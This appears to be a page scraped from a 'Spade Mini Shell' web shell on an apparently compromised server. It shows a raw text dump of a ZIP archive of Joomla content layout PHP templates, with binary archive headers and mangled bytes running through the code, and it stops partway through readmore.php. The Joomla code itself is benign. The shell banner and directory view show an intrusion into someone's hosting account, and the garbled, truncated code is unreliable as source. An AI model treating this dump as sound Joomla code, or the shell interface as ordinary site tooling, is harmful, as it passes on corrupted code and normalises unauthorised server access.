Spade
Mini Shell
| Directory:~$ /home/lmsyaran/public_html/css/ |
| [Home] [System Details] [Kill Me] |
PK�J�[�V�
index.htmlnu�[���<!DOCTYPE
html><title></title>
PK�J�[DƔ��joomla/content/associations.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$items = $displayData;
if (!empty($items)) : ?>
<ul class="item-associations">
<?php foreach ($items as $id => $item) : ?>
<li>
<?php echo is_array($item) ? $item['link'] :
$item->link; ?>
</li>
<?php endforeach; ?>
</ul>
<?php endif; ?>
PK�J�[�l\��0joomla/content/blog_style_default_item_title.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
// Create a shortcut for params.
$params = $displayData->params;
$canEdit = $displayData->params->get('access-edit');
$currentDate = JFactory::getDate()->format('Y-m-d H:i:s');
JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
?>
<?php if ($displayData->state == 0 ||
$params->get('show_title') ||
($params->get('show_author') &&
!empty($displayData->author ))) : ?>
<div class="page-header">
<?php if ($params->get('show_title')) : ?>
<h2 itemprop="name">
<?php if ($params->get('link_titles') &&
($params->get('access-view') ||
$params->get('show_noauth', '0') == '1'))
: ?>
<a href="<?php echo JRoute::_(
ContentHelperRoute::getArticleRoute($displayData->slug,
$displayData->catid, $displayData->language)
); ?>" itemprop="url">
<?php echo $this->escape($displayData->title); ?>
</a>
<?php else : ?>
<?php echo $this->escape($displayData->title); ?>
<?php endif; ?>
</h2>
<?php endif; ?>
<?php if ($displayData->state == 0) : ?>
<span class="label label-warning"><?php echo
JText::_('JUNPUBLISHED'); ?></span>
<?php endif; ?>
<?php if ($displayData->publish_up > $currentDate) : ?>
<span class="label label-warning"><?php echo
JText::_('JNOTPUBLISHEDYET'); ?></span>
<?php endif; ?>
<?php if ($displayData->publish_down < $currentDate &&
$displayData->publish_down !== JFactory::getDbo()->getNullDate()) :
?>
<span class="label label-warning"><?php echo
JText::_('JEXPIRED'); ?></span>
<?php endif; ?>
</div>
<?php endif; ?>
PK�J�[o��+joomla/content/blog_style_default_links.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<ol class="nav nav-tabs nav-stacked">
<?php foreach ($displayData->get('link_items') as $item) :
?>
<li>
<?php echo JHtml::_('link',
JRoute::_(ContentHelperRoute::getArticleRoute($item->slug,
$item->catid, $item->language)), $item->title); ?>
</li>
<?php endforeach; ?>
</ol>
PK�J�[����%joomla/content/categories_default.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<?php if
($displayData->params->get('show_page_heading')) : ?>
<h1>
<?php echo
$displayData->escape($displayData->params->get('page_heading'));
?>
</h1>
<?php endif; ?>
<?php if
($displayData->params->get('show_base_description')) :
?>
<?php // If there is a description in the menu parameters use that;
?>
<?php if
($displayData->params->get('categories_description')) :
?>
<div class="category-desc base-desc">
<?php echo JHtml::_('content.prepare',
$displayData->params->get('categories_description'),
'', $displayData->get('extension') .
'.categories'); ?>
</div>
<?php else : ?>
<?php // Otherwise get one from the database if it exists. ?>
<?php if ($displayData->parent->description) : ?>
<div class="category-desc base-desc">
<?php echo JHtml::_('content.prepare',
$displayData->parent->description, '',
$displayData->parent->extension . '.categories'); ?>
</div>
<?php endif; ?>
<?php endif; ?>
<?php endif; ?>
PK�J�[f�V��+joomla/content/categories_default_items.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$class = ' class="first"';
JHtml::_('bootstrap.tooltip');
$item = $displayData->item;
$items = $displayData->get('items');
$params = $displayData->params;
$extension = $displayData->get('extension');
$className = substr($extension, 4);
// This will work for the core components but not necessarily for other
components
// that may have different pluralisation rules.
if (substr($className, -1) === 's')
{
$className = rtrim($className, 's');
}
PK�J�[�U�+�
�
#joomla/content/category_default.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Note that this layout opens a div with the page class suffix. If you do
not use the category children
* layout you need to close this div either by overriding this file or in
your main layout.
*/
$params = $displayData->params;
$category = $displayData->get('category');
$extension = $category->extension;
$canEdit = $params->get('access-edit');
$className = substr($extension, 4);
$dispatcher = JEventDispatcher::getInstance();
$category->text = $category->description;
$dispatcher->trigger('onContentPrepare', array($extension .
'.categories', &$category, &$params, 0));
$category->description = $category->text;
$results = $dispatcher->trigger('onContentAfterTitle',
array($extension . '.categories', &$category, &$params,
0));
$afterDisplayTitle = trim(implode("\n", $results));
$results = $dispatcher->trigger('onContentBeforeDisplay',
array($extension . '.categories', &$category, &$params,
0));
$beforeDisplayContent = trim(implode("\n", $results));
$results = $dispatcher->trigger('onContentAfterDisplay',
array($extension . '.categories', &$category, &$params,
0));
$afterDisplayContent = trim(implode("\n", $results));
/**
* This will work for the core components but not necessarily for other
components
* that may have different pluralisation rules.
*/
if (substr($className, -1) === 's')
{
$className = rtrim($className, 's');
}
$tagsData = $category->tags->itemTags;
?>
<div>
<div class="<?php echo $className .'-category' .
$displayData->pageclass_sfx; ?>">
<?php if ($params->get('show_page_heading')) : ?>
<h1>
<?php echo
$displayData->escape($params->get('page_heading')); ?>
</h1>
<?php endif; ?>
<?php if ($params->get('show_category_title', 1)) : ?>
<h2>
<?php echo JHtml::_('content.prepare',
$category->title, '', $extension .
'.category.title'); ?>
</h2>
<?php endif; ?>
<?php echo $afterDisplayTitle; ?>
<?php if ($params->get('show_cat_tags', 1)) : ?>
<?php echo JLayoutHelper::render('joomla.content.tags',
$tagsData); ?>
<?php endif; ?>
<?php if ($beforeDisplayContent || $afterDisplayContent ||
$params->get('show_description', 1) ||
$params->def('show_description_image', 1)) : ?>
<div class="category-desc">
<?php if ($params->get('show_description_image')
&& $category->getParams()->get('image')) : ?>
<img src="<?php echo
$category->getParams()->get('image'); ?>"
alt="<?php echo
htmlspecialchars($category->getParams()->get('image_alt'),
ENT_COMPAT, 'UTF-8'); ?>"/>
<?php endif; ?>
<?php echo $beforeDisplayContent; ?>
<?php if ($params->get('show_description') &&
$category->description) : ?>
<?php echo JHtml::_('content.prepare',
$category->description, '', $extension .
'.category.description'); ?>
<?php endif; ?>
<?php echo $afterDisplayContent; ?>
<div class="clr"></div>
</div>
<?php endif; ?>
<?php echo
$displayData->loadTemplate($displayData->subtemplatename); ?>
<?php if ($displayData->maxLevel != 0 &&
$displayData->get('children')) : ?>
<div class="cat-children">
<?php if
($params->get('show_category_heading_title_text', 1) == 1) :
?>
<h3>
<?php echo JText::_('JGLOBAL_SUBCATEGORIES'); ?>
</h3>
<?php endif; ?>
<?php echo $displayData->loadTemplate('children');
?>
</div>
<?php endif; ?>
</div>
</div>
PK�J�[Z$����joomla/content/full_image.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$params = $displayData->params;
?>
<?php $images = json_decode($displayData->images); ?>
<?php if (!empty($images->image_fulltext)) : ?>
<?php $imgfloat = empty($images->float_fulltext) ?
$params->get('float_fulltext') : $images->float_fulltext;
?>
<div class="pull-<?php echo htmlspecialchars($imgfloat); ?>
item-image"> <img
<?php if ($images->image_fulltext_caption) :
echo 'class="caption"' . ' title="' .
htmlspecialchars($images->image_fulltext_caption) . '"';
endif; ?>
src="<?php echo htmlspecialchars($images->image_fulltext);
?>" alt="<?php echo
htmlspecialchars($images->image_fulltext_alt); ?>"
itemprop="image"/> </div>
<?php endif; ?>
PK�J�[���joomla/content/icons/create.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('bootstrap.tooltip');
$params = $displayData['params'];
// @deprecated 4.0 The legacy icon flag will be removed from this layout
in 4.0
$legacy = $displayData['legacy'];
?>
<?php if ($params->get('show_icons')) : ?>
<?php if ($legacy) : ?>
<?php echo JHtml::_('image', 'system/new.png',
JText::_('JNEW'), null, true); ?>
<?php else : ?>
<span class="icon-plus"
aria-hidden="true"></span>
<?php echo JText::_('JNEW'); ?>
<?php endif; ?>
<?php else : ?>
<?php echo JText::_('JNEW') . ' '; ?>
<?php endif; ?>
PK�J�[�Bjoomla/content/icons/edit.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('bootstrap.tooltip');
$article = $displayData['article'];
$overlib = $displayData['overlib'];
// @deprecated 4.0 The legacy icon flag will be removed from this layout
in 4.0
$legacy = $displayData['legacy'];
$currentDate = JFactory::getDate()->format('Y-m-d H:i:s');
$isUnpublished = ($article->publish_up > $currentDate)
|| ($article->publish_down < $currentDate &&
$article->publish_down !== JFactory::getDbo()->getNullDate());
if ($legacy)
{
$icon = $article->state ? 'edit.png' :
'edit_unpublished.png';
if ($isUnpublished)
{
$icon = 'edit_unpublished.png';
}
}
else
{
$icon = $article->state ? 'edit' : 'eye-close';
if ($isUnpublished)
{
$icon = 'eye-close';
}
}
?>
<?php if ($legacy) : ?>
<?php echo JHtml::_('image', 'system/' . $icon,
JText::_('JGLOBAL_EDIT'), null, true); ?>
<?php else : ?>
<span class="hasTooltip icon-<?php echo $icon; ?> tip"
title="<?php echo
JHtml::tooltipText(JText::_('COM_CONTENT_EDIT_ITEM'), $overlib,
0, 0); ?>"></span>
<?php echo JText::_('JGLOBAL_EDIT'); ?>
<?php endif; ?>
PK�J�[��ll"joomla/content/icons/edit_lock.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('bootstrap.tooltip');
$tooltip = $displayData['tooltip'];
// @deprecated 4.0 The legacy icon flag will be removed from this layout
in 4.0
$legacy = $displayData['legacy'];
?>
<?php if ($legacy) : ?>
<span class="hasTooltip" title="<?php echo
JHtml::tooltipText($tooltip . '', 0); ?>">
<?php echo JHtml::_('image',
'system/checked_out.png', null, null, true); ?>
</span>
<?php echo JText::_('JLIB_HTML_CHECKED_OUT'); ?>
<?php else : ?>
<span class="hasTooltip icon-lock" title="<?php echo
JHtml::tooltipText($tooltip . '', 0);
?>"></span>
<?php echo JText::_('JLIB_HTML_CHECKED_OUT'); ?>
<?php endif; ?>
PK�J�[�&|��joomla/content/icons/email.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$params = $displayData['params'];
$legacy = $displayData['legacy'];
?>
<?php if ($params->get('show_icons')) : ?>
<?php if ($legacy) : ?>
<?php echo JHtml::_('image',
'system/emailButton.png', JText::_('JGLOBAL_EMAIL'),
null, true); ?>
<?php else : ?>
<span class="icon-envelope"
aria-hidden="true"></span>
<?php echo JText::_('JGLOBAL_EMAIL'); ?>
<?php endif; ?>
<?php else : ?>
<?php echo JText::_('JGLOBAL_EMAIL'); ?>
<?php endif; ?>
PK�J�[iy�_$joomla/content/icons/print_popup.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$params = $displayData['params'];
$legacy = $displayData['legacy'];
?>
<?php if ($params->get('show_icons')) : ?>
<?php if ($legacy) : ?>
<?php // Checks template image directory for image, if none found
default are loaded ?>
<?php echo JHtml::_('image',
'system/printButton.png', JText::_('JGLOBAL_PRINT'),
null, true); ?>
<?php else : ?>
<span class="icon-print"
aria-hidden="true"></span>
<?php echo JText::_('JGLOBAL_PRINT'); ?>
<?php endif; ?>
<?php else : ?>
<?php echo JText::_('JGLOBAL_PRINT'); ?>
<?php endif; ?>
PK�J�[iy�_%joomla/content/icons/print_screen.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$params = $displayData['params'];
$legacy = $displayData['legacy'];
?>
<?php if ($params->get('show_icons')) : ?>
<?php if ($legacy) : ?>
<?php // Checks template image directory for image, if none found
default are loaded ?>
<?php echo JHtml::_('image',
'system/printButton.png', JText::_('JGLOBAL_PRINT'),
null, true); ?>
<?php else : ?>
<span class="icon-print"
aria-hidden="true"></span>
<?php echo JText::_('JGLOBAL_PRINT'); ?>
<?php endif; ?>
<?php else : ?>
<?php echo JText::_('JGLOBAL_PRINT'); ?>
<?php endif; ?>
PK�J�[
|�&��joomla/content/icons.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('bootstrap.framework');
$canEdit =
$displayData['params']->get('access-edit');
$articleId = $displayData['item']->id;
?>
<div class="icons">
<?php if (empty($displayData['print'])) : ?>
<?php if ($canEdit ||
$displayData['params']->get('show_print_icon') ||
$displayData['params']->get('show_email_icon')) :
?>
<div class="btn-group pull-right">
<button class="btn dropdown-toggle"
type="button" id="dropdownMenuButton-<?php echo
$articleId; ?>" aria-label="<?php echo
JText::_('JUSER_TOOLS'); ?>"
data-toggle="dropdown" aria-haspopup="true"
aria-expanded="false">
<span class="icon-cog"
aria-hidden="true"></span>
<span class="caret"
aria-hidden="true"></span>
</button>
<?php // Note the actions class is deprecated. Use dropdown-menu
instead. ?>
<ul class="dropdown-menu"
aria-labelledby="dropdownMenuButton-<?php echo $articleId;
?>">
<?php if
($displayData['params']->get('show_print_icon')) :
?>
<li class="print-icon"> <?php echo
JHtml::_('icon.print_popup', $displayData['item'],
$displayData['params']); ?> </li>
<?php endif; ?>
<?php if
($displayData['params']->get('show_email_icon')) :
?>
<li class="email-icon"> <?php echo
JHtml::_('icon.email', $displayData['item'],
$displayData['params']); ?> </li>
<?php endif; ?>
<?php if ($canEdit) : ?>
<li class="edit-icon"> <?php echo
JHtml::_('icon.edit', $displayData['item'],
$displayData['params']); ?> </li>
<?php endif; ?>
</ul>
</div>
<?php endif; ?>
<?php else : ?>
<div class="pull-right">
<?php echo JHtml::_('icon.print_screen',
$displayData['item'], $displayData['params']); ?>
</div>
<?php endif; ?>
</div>
PK�J�[y�X���*joomla/content/info_block/associations.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<?php if (!empty($displayData['item']->associations)) :
?>
<?php $associations = $displayData['item']->associations;
?>
<dd class="association">
<?php echo JText::_('JASSOCIATIONS'); ?>
<?php foreach ($associations as $association) : ?>
<?php if
($displayData['item']->params->get('flags', 1)
&& $association['language']->image) : ?>
<?php $flag = JHtml::_('image', 'mod_languages/'
. $association['language']->image . '.gif',
$association['language']->title_native,
array('title' =>
$association['language']->title_native), true); ?>
<a href="<?php echo
JRoute::_($association['item']); ?>"><?php echo
$flag; ?></a>
<?php else : ?>
<?php $class = 'label label-association label-' .
$association['language']->sef; ?>
<a class="<?php echo $class; ?>"
href="<?php echo JRoute::_($association['item']);
?>"><?php echo
strtoupper($association['language']->sef);
?></a>
<?php endif; ?>
<?php endforeach; ?>
</dd>
<?php endif; ?>
PK�J�[9��_kk$joomla/content/info_block/author.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<dd class="createdby" itemprop="author" itemscope
itemtype="https://schema.org/Person">
<?php $author = ($displayData['item']->created_by_alias ?:
$displayData['item']->author); ?>
<?php $author = '<span itemprop="name">' .
$author . '</span>'; ?>
<?php if (!empty($displayData['item']->contact_link )
&&
$displayData['params']->get('link_author') == true)
: ?>
<?php echo JText::sprintf('COM_CONTENT_WRITTEN_BY',
JHtml::_('link', $displayData['item']->contact_link,
$author, array('itemprop' => 'url'))); ?>
<?php else : ?>
<?php echo JText::sprintf('COM_CONTENT_WRITTEN_BY',
$author); ?>
<?php endif; ?>
</dd>
PK�J�[s����#joomla/content/info_block/block.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JLog::add('The layout joomla.content.info_block.block is deprecated,
use joomla.content.info_block instead.', JLog::WARNING,
'deprecated');
echo JLayoutHelper::render('joomla.content.info_block',
$displayData);
PK�J�[�9]BB&joomla/content/info_block/category.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<dd class="category-name">
<?php $title =
$this->escape($displayData['item']->category_title); ?>
<?php if
($displayData['params']->get('link_category')
&& $displayData['item']->catslug) : ?>
<?php $url = '<a href="' .
JRoute::_(ContentHelperRoute::getCategoryRoute($displayData['item']->catslug))
. '" itemprop="genre">' . $title .
'</a>'; ?>
<?php echo JText::sprintf('COM_CONTENT_CATEGORY', $url);
?>
<?php else : ?>
<?php echo JText::sprintf('COM_CONTENT_CATEGORY',
'<span itemprop="genre">' . $title .
'</span>'); ?>
<?php endif; ?>
</dd>PK�J�[��(9ii)joomla/content/info_block/create_date.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<dd class="create">
<span class="icon-calendar"
aria-hidden="true"></span>
<time datetime="<?php echo JHtml::_('date',
$displayData['item']->created, 'c'); ?>"
itemprop="dateCreated">
<?php echo JText::sprintf('COM_CONTENT_CREATED_DATE_ON',
JHtml::_('date', $displayData['item']->created,
JText::_('DATE_FORMAT_LC3'))); ?>
</time>
</dd>PK�J�[���"joomla/content/info_block/hits.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<dd class="hits">
<span class="icon-eye-open"
aria-hidden="true"></span>
<meta itemprop="interactionCount"
content="UserPageVisits:<?php echo
$displayData['item']->hits; ?>" />
<?php echo JText::sprintf('COM_CONTENT_ARTICLE_HITS',
$displayData['item']->hits); ?>
</dd>PK�J�[���gg)joomla/content/info_block/modify_date.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<dd class="modified">
<span class="icon-calendar"
aria-hidden="true"></span>
<time datetime="<?php echo JHtml::_('date',
$displayData['item']->modified, 'c'); ?>"
itemprop="dateModified">
<?php echo JText::sprintf('COM_CONTENT_LAST_UPDATED',
JHtml::_('date', $displayData['item']->modified,
JText::_('DATE_FORMAT_LC3'))); ?>
</time>
</dd>PK�J�[q��ZZ-joomla/content/info_block/parent_category.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<dd class="parent-category-name">
<?php $title =
$this->escape($displayData['item']->parent_title); ?>
<?php if
($displayData['params']->get('link_parent_category')
&& !empty($displayData['item']->parent_slug)) : ?>
<?php $url = '<a href="' .
JRoute::_(ContentHelperRoute::getCategoryRoute($displayData['item']->parent_slug))
. '" itemprop="genre">' . $title .
'</a>'; ?>
<?php echo JText::sprintf('COM_CONTENT_PARENT', $url);
?>
<?php else : ?>
<?php echo JText::sprintf('COM_CONTENT_PARENT',
'<span itemprop="genre">' . $title .
'</span>'); ?>
<?php endif; ?>
</dd>PK�J�[���qq*joomla/content/info_block/publish_date.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<dd class="published">
<span class="icon-calendar"
aria-hidden="true"></span>
<time datetime="<?php echo JHtml::_('date',
$displayData['item']->publish_up, 'c'); ?>"
itemprop="datePublished">
<?php echo
JText::sprintf('COM_CONTENT_PUBLISHED_DATE_ON',
JHtml::_('date', $displayData['item']->publish_up,
JText::_('DATE_FORMAT_LC3'))); ?>
</time>
</dd>PK�J�['I��joomla/content/info_block.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2017 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$blockPosition =
$displayData['params']->get('info_block_position',
0);
?>
<dl class="article-info muted">
<?php if ($displayData['position'] === 'above'
&& ($blockPosition == 0 || $blockPosition == 2)
|| $displayData['position'] === 'below' &&
($blockPosition == 1)
) : ?>
<dt class="article-info-term">
<?php if
($displayData['params']->get('info_block_show_title',
1)) : ?>
<?php echo JText::_('COM_CONTENT_ARTICLE_INFO'); ?>
<?php endif; ?>
</dt>
<?php if
($displayData['params']->get('show_author')
&& !empty($displayData['item']->author )) : ?>
<?php echo $this->sublayout('author', $displayData);
?>
<?php endif; ?>
<?php if
($displayData['params']->get('show_parent_category')
&& !empty($displayData['item']->parent_slug)) : ?>
<?php echo $this->sublayout('parent_category',
$displayData); ?>
<?php endif; ?>
<?php if
($displayData['params']->get('show_category')) :
?>
<?php echo $this->sublayout('category', $displayData);
?>
<?php endif; ?>
<?php if
($displayData['params']->get('show_associations')) :
?>
<?php echo $this->sublayout('associations',
$displayData); ?>
<?php endif; ?>
<?php if
($displayData['params']->get('show_publish_date')) :
?>
<?php echo $this->sublayout('publish_date',
$displayData); ?>
<?php endif; ?>
<?php endif; ?>
<?php if ($displayData['position'] === 'above'
&& ($blockPosition == 0)
|| $displayData['position'] === 'below' &&
($blockPosition == 1 || $blockPosition == 2)
) : ?>
<?php if
($displayData['params']->get('show_create_date')) :
?>
<?php echo $this->sublayout('create_date',
$displayData); ?>
<?php endif; ?>
<?php if
($displayData['params']->get('show_modify_date')) :
?>
<?php echo $this->sublayout('modify_date',
$displayData); ?>
<?php endif; ?>
<?php if
($displayData['params']->get('show_hits')) : ?>
<?php echo $this->sublayout('hits', $displayData);
?>
<?php endif; ?>
<?php endif; ?>
</dl>
PK�J�[�vQQjoomla/content/intro_image.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$params = $displayData->params;
?>
<?php $images = json_decode($displayData->images); ?>
<?php if (!empty($images->image_intro)) : ?>
<?php $imgfloat = empty($images->float_intro) ?
$params->get('float_intro') : $images->float_intro; ?>
<div class="pull-<?php echo htmlspecialchars($imgfloat,
ENT_COMPAT, 'UTF-8'); ?> item-image">
<?php if ($params->get('link_titles') &&
$params->get('access-view')) : ?>
<a href="<?php echo
JRoute::_(ContentHelperRoute::getArticleRoute($displayData->slug,
$displayData->catid, $displayData->language)); ?>"><img
<?php if ($images->image_intro_caption) : ?>
<?php echo 'class="caption"' . '
title="' . htmlspecialchars($images->image_intro_caption) .
'"'; ?>
<?php endif; ?>
src="<?php echo htmlspecialchars($images->image_intro,
ENT_COMPAT, 'UTF-8'); ?>" alt="<?php echo
htmlspecialchars($images->image_intro_alt, ENT_COMPAT,
'UTF-8'); ?>"
itemprop="thumbnailUrl"/></a>
<?php else : ?><img
<?php if ($images->image_intro_caption) : ?>
<?php echo 'class="caption"' . '
title="' . htmlspecialchars($images->image_intro_caption,
ENT_COMPAT, 'UTF-8') . '"'; ?>
<?php endif; ?>
src="<?php echo htmlspecialchars($images->image_intro,
ENT_COMPAT, 'UTF-8'); ?>" alt="<?php echo
htmlspecialchars($images->image_intro_alt, ENT_COMPAT,
'UTF-8'); ?>" itemprop="thumbnailUrl"/>
<?php endif; ?>
</div>
<?php endif; ?>
PK�J�[/�q��joomla/content/language.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$item = $displayData;
if ($item->language === '*')
{
echo JText::alt('JALL', 'language');
}
elseif ($item->language_image)
{
echo JHtml::_('image', 'mod_languages/' .
$item->language_image . '.gif', '', null, true) .
' ' . htmlspecialchars($item->language_title,
ENT_COMPAT, 'UTF-8');
}
elseif ($item->language_title)
{
echo htmlspecialchars($item->language_title, ENT_COMPAT,
'UTF-8');
}
else
{
echo JText::_('JUNDEFINED');
}
PK�J�[����"joomla/content/options_default.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<fieldset class="<?php echo !empty($displayData->formclass) ?
$displayData->formclass : 'form-horizontal'; ?>">
<legend><?php echo $displayData->name; ?></legend>
<?php if (!empty($displayData->description)) : ?>
<p><?php echo $displayData->description; ?></p>
<?php endif; ?>
<?php $fieldsnames = explode(',',
$displayData->fieldsname); ?>
<?php foreach ($fieldsnames as $fieldname) : ?>
<?php foreach ($displayData->form->getFieldset($fieldname) as
$field) : ?>
<?php $datashowon = ''; ?>
<?php $groupClass = $field->type === 'Spacer' ? '
field-spacer' : ''; ?>
<?php if ($field->showon) : ?>
<?php JHtml::_('jquery.framework'); ?>
<?php JHtml::_('script', 'jui/cms.js',
array('version' => 'auto', 'relative'
=> true)); ?>
<?php $datashowon = ' data-showon=\'' .
json_encode(JFormHelper::parseShowOnConditions($field->showon,
$field->formControl, $field->group)) . '\''; ?>
<?php endif; ?>
<div class="control-group<?php echo $groupClass;
?>"<?php echo $datashowon; ?>>
<?php if (!isset($displayData->showlabel) ||
$displayData->showlabel) : ?>
<div class="control-label"><?php echo
$field->label; ?></div>
<?php endif; ?>
<div class="controls"><?php echo $field->input;
?></div>
</div>
<?php endforeach; ?>
<?php endforeach; ?>
</fieldset>
PK�J�[�P����joomla/content/readmore.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2014 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$params = $displayData['params'];
$item = $displayData['item'];
$direction = JFactory::getLanguage()->isRtl() ? 'left' :
'right';
?>
<p class="readmore">
<?php if (!$params->get('access-view')) : ?>
<a class="btn" href="<?php echo
$displayData['link']; ?>" itemprop="url"
aria-label="<?php echo
JText::_('COM_CONTENT_REGISTER_TO_READ_MORE'); ?>
<?php echo htmlspecialchars($item->title, ENT_QUOTES,
'UTF-8'); ?>">
<?php echo '<span class="icon-chevron-' .
$direction . '"
aria-hidden="true"></span>'; ?>
<?php echo JText::_('COM_CONTENT_REGISTER_TO_READ_MORE');
?>
</a>
<?php elseif ($readmore = $item->alternative_readmore) : ?>
<a class="btn" href="<?php echo
$displayData['link']; ?>" itemprop="url"
aria-label="<?php echo htmlspecialchars($item->title,
ENT_QUOTES, 'UTF-8'); ?>">
<?php echo '<span class="icon-chevron-' .
$direction . '"
aria-hidden="true"></span>'; ?>
<?php echo $readmore; ?>
<?php if ($params->get('show_readmore_title', 0) != 0) :
?>
<?php echo JHtml::_('string.truncate', $item->title,
$params->get('readmore_limit')); ?>
<?php endif; ?>
</a>
<?php elseif ($params->get('show_readmore_title', 0) == 0)
: ?>
<a class="btn" href="<?php echo
$displayData['link']; ?>" itemprop="url"
aria-label="<?php echo JText::_('COM_CONTENT_READ_MORE');
?> <?php echo htmlspecialchars($item->title, ENT_QUOTES,
